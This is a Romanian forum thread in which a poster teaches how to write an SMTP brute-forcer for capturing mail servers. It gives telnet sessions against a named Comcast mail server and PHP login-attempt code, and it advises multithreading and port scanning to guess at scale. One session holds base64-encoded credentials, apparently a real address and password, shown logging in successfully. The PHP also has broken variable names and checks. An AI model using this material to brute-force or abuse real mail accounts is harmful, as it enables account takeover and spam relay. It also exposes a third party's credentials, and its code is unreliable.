mojito.mojito Posted January 10, 2015 Report Posted January 10, 2015 Astazi am decis sa explic tuturor celor care tot cauta scannere/brute si mai stiu eu ce pentru a prinde servere smtp.Motivul este ca peste tot vad ceva de genu:- scanner smtp 2012- new scanner smtp 2014 - prinde 100 smtpuri pe zi- scanner plm 2015 - 300 pe ziSincer e penibil.Nu stau sa explic definita protocolului SMTP ca sunt o gramada de ghiduri pe internet, doar facand un exemplu: wikipedia.Sa incepem,Un brute pentru smtp e simplu un script care incearca sa faca login stand dupa definitia protocolui, si puntr-un loop incearca login cu mai multe usere si parole, asta e clasicul tip de brute cu dictionar.Pentru a te conecta la uns erver prin smtp se paote face prin portul 25, 587, 465 si nu stiu altele porturi care sunt acum noi. Portul 25 daca cititi pe internet e spart de spam si acum se incearca sa se adapteze si pe alte porturi.Astazi vreau sa vorbesc despre simplu acces smtp fara tls, ssl.pentru a intelege pasii de facut pentru a loga pur si simplu se poate face prin telnet din cmd sau orice alt terminal:telnet smtp.comcast.com 25/587:[mojito@baubau HOSTNAMES]$ telnet smtp.comcast.net 25Trying 68.87.20.6...Connected to smtp.comcast.net.Escape character is '^]'.220 resomta-ch2-12v.sys.comcast.net comcast ESMTP server readyAvem un raspuns cu codul 220 asta inseamna ca portul 25 in iesire la noi in pc e deschis si ca serverul accepta conexiuni si acum sta in asteptare de alte comenzi.<?php$socket = fsockopen($domain, 25, $errno, $errstr, 10); if (!$socket) exit(0); $buff = fgets($socket, 512); if (substr(trim($buff), 0, 3) != "220") exit(0); //daca primele 3 cifre nu sunt 220 conexiunea se termina print $buff\n;?>Un simplu exemplu de a se conecta prin php.Urmatoarea comanda e de a spune serverului ca esti acolo, un gen de salut sa zicem, prin comanda EHLO sau HELO.Diferentele dintre EHLO si HELO va recomand pur si simplu wikipedia.Pentru a face autentificarea noi com utiliza comanda EHLO urmata de orice nume vreti.[mojito@baubau HOSTNAMES]$ telnet smtp.comcast.net 25Trying 68.87.20.6...Connected to smtp.comcast.net.Escape character is '^]'.220 resomta-ch2-04v.sys.comcast.net comcast ESMTP server readyehlo mojito250-resomta-ch2-04v.sys.comcast.net hello [192.64.83.46], pleased to meet you250-HELP250-AUTH LOGIN PLAIN250-SIZE 36700160250-ENHANCEDSTATUSCODES250-8BITMIME250-STARTTLS250 OKurmarind logica protocolului acum urmeaza sai dam comanda la server zicandui ca vrem sa ne logam la el cu user si parola prin comanda AUTH LOGIN:[mojito@baubau HOSTNAMES]$ telnet smtp.comcast.net 25Trying 68.87.20.6...Connected to smtp.comcast.net.Escape character is '^]'.220 resomta-ch2-05v.sys.comcast.net comcast ESMTP server readyehlo user250-resomta-ch2-05v.sys.comcast.net hello [192.64.83.46], pleased to meet you250-HELP250-AUTH LOGIN PLAIN250-SIZE 36700160250-ENHANCEDSTATUSCODES250-8BITMIME250-STARTTLS250 OKauth login334 VXNlcm5hbWU6Raspunsul 334 urmarit de: VXNlcm5hbWU6 inseamna ca asteapta sa introduceti userul, pentru mai multe detalii in privinta acestui raspuns va invit sa citi RFC'ul respectiv ce explica toate comenzile in mod detaliat.<?php$socket = fsockopen($domain, 25, $errno, $errstr, 10); if (!$socket) exit(0); $buff = fgets($socket, 512); if (substr(trim($buff), 0, 3) != "220") exit(0); //daca primele 3 cifre nu sunt 220 conexiunea se termina print $buff\n; fputs($socket, "EHLO USER\r\n"); //precum standardului \r\n sunt obligatorii pentru a zice serverului ca ai terminat comanda si sa mearga mai departe $buff = fgets($socket, 512); if (substr(trim($buff), 0, 3) != "250") exit(0); //daca nu gasim raspunsul 250 iesim din program. codul 250 inseamna ca serverul a acceptat comanda //se poate face printr-un loop pentru a vedea tot raspunsul protocolului, dar ajung sa gasesti un singur 250 in raspuns fputs($socket, "AUTH LOGIN\r\n"); if (substr(trim($buff), 4, 16) != "VXNlcm5hbWU6") exit(0); //daca nu gasim acest string iesim din program $user = base64_encode("USER"); //precum standardului smtp accepta userul criptat in base64 fputs($socket, "$user\r\n");?>O data pus userul vedem daca accepta userul si daca ne trimite mai departe pentru a baga si parola:[mojito@baubau HOSTNAMES]$ telnet smtp.comcast.net 25Trying 68.87.20.6...Connected to smtp.comcast.net.Escape character is '^]'.220 resomta-ch2-05v.sys.comcast.net comcast ESMTP server readyehlo mojito250-resomta-ch2-05v.sys.comcast.net hello [192.64.83.46], pleased to meet you250-HELP250-AUTH LOGIN PLAIN250-SIZE 36700160250-ENHANCEDSTATUSCODES250-8BITMIME250-STARTTLS250 OKauth login334 VXNlcm5hbWU6ZC5sYXVnaGxpbkBjb21jYXN0Lm5ldA==334 UGFzc3dvcmQ6raspunsul 334 si acel string functioneaza ca si pentru user, asta inseamna ca userul a fost acceptat si acum serverul asteapta sa introduceti parola, si parola bineinteles in base64.<?php$socket = fsockopen($domain, 25, $errno, $errstr, 10); if (!$socket) exit(0); $buff = fgets($socket, 512); if (substr(trim($buff), 0, 3) != "220") exit(0); //daca primele 3 cifre nu sunt 220 conexiunea se termina print $buff\n; fputs($socket, "EHLO USER\r\n"); //precum standardului \r\n sunt obligatorii pentru a zice serverului ca ai terminat comanda si sa mearga mai departe $buff = fgets($socket, 512); if (substr(trim($buff), 0, 3) != "250") exit(0); //daca nu gasim raspunsul 250 iesim din program. codul 250 inseamna ca serverul a acceptat comanda //se poate face printr-un loop pentru a vedea tot raspunsul protocolului, dar ajung sa gasesti un singur 250 in raspuns fputs($socket, "AUTH LOGIN\r\n"); if (substr(trim($buff), 4, 16) != "VXNlcm5hbWU6") exit(0); //daca nu gasim acest string iesim din program $user = base64_encode("USER"); //precum standardului smtp accepta userul criptat in base64 fputs($socket, "$user\r\n"); if (!($buff = fgets($socket, 512))) exit(0); if (substr(trim($_SockResult), 4, 16) != "UGFzc3dvcmQ6") exit(0); $pass = base64_encode("PASSWORD"); fputs($socket, "$pass\r\n"); if(substr(trim($vuff), 0, 3) != "235") { print "Invalid login\n"; exit(0); } else { print "Login facut cu success\n"; }?>[mojito@baubau HOSTNAMES]$ telnet smtp.comcast.net 25Trying 96.114.157.81...Connected to smtp.comcast.net.Escape character is '^]'.ehlo mojito220 resomta-po-09v.sys.comcast.net comcast ESMTP server ready250-resomta-po-09v.sys.comcast.net hello [192.64.83.46], pleased to meet you250-HELP250-AUTH LOGIN PLAIN250-SIZE 36700160250-ENHANCEDSTATUSCODES250-8BITMIME250-STARTTLS250 OKauth login334 VXNlcm5hbWU6ZC5sYXVnaGxpbkBjb21jYXN0Lm5ldA==334 UGFzc3dvcmQ6Mzc3M2psYWQ=235 2.7.0 ... Authentication succeededO data ce am introdus parola dupa cum puteti vedea am facut cu success autentificarea.Daca autentificarea a avut success prin simpla comanda quit se poate deconecta de la server si a trece la urmatorul.Ghidul acesta a fost ceva general pentru a da o idee ficaruia cum functioneaza protocolul smtp.In 2012, 2013, 2015 protocolul a ramas acelasi deci cand eu aud : scanner smtp 2015 / prinde 300 pe zi ma enervez foarte rau.Da am inteles ca poti sal faci sa mearga mai rapid prin multithreading , poti sa faci controale mai bune la raspunsurile serverului, poti face un check pe portul respectiv si apoi sa faci brute doar pe ip'uri sau hosturi care au portul deschis, poti sa folosesti alt limbaj de programare care gestioneaza mai bine multithreading, poti avea un "root" puternic care e capabil sa deschida multe procese pentru multithreading, sau mai stiu eu ce, dar protocolul smtp ramane acelasi in orice caz, te poti juca cu usere si parole cum vrei tu, dar daca nu ai "root" bun ce poate sa faca cum am zis mai sus si bineinteles merge mai rapid si ai mai multe probabilitati sa gasesti smtpuri intr-un timp mai scurt si de a rula foarte multe hosturi sau ip'uri.Pentru mai multe detalii va invit sa cititi despre acest protocol.Va multumesc pentru atentie 1 1 Quote
JIHAD Posted January 10, 2015 Report Posted January 10, 2015 si ce faci cu STARTTLS cram-md5, md5-digest, auth plain, daca serverul e SSL? Quote
mojito.mojito Posted January 10, 2015 Author Report Posted January 10, 2015 si ce faci cu STARTTLS cram-md5, md5-digest, auth plain, daca serverul e SSL?cum am zis aici nu am vorbit despre TLS sau SSL Quote
mojito.mojito Posted January 11, 2015 Author Report Posted January 11, 2015 Ne spui de ce ai ales EHLO User?Simple Mail Transfer Protocol - Wikipedia, the free encyclopediaEHLO pentru a imi da posibilitatea de a face autentificarea, deobicei HELO e urmarit de numele domeniu si iti da posibilitatetea de a trimite mail print comenzile MAIL, RCPT, etc etc Quote
Elohim Posted January 11, 2015 Report Posted January 11, 2015 Simple Mail Transfer Protocol - Wikipedia, the free encyclopediaEHLO pentru a imi da posibilitatea de a face autentificarea, deobicei HELO e urmarit de numele domeniu si iti da posibilitatetea de a trimite mail print comenzile MAIL, RCPT, etc etcMa refeream la EHLO User. De ce ai ales sa te prezinti cu cuvantul User Quote
mojito.mojito Posted January 11, 2015 Author Report Posted January 11, 2015 Ma refeream la EHLO User. De ce ai ales sa te prezinti cu cuvantul Useraa pe naiba primul lucru ce imi venise in minte, poti sa pui ce vrei tu acolodaca vezi am utilizat si EHLO mojito Quote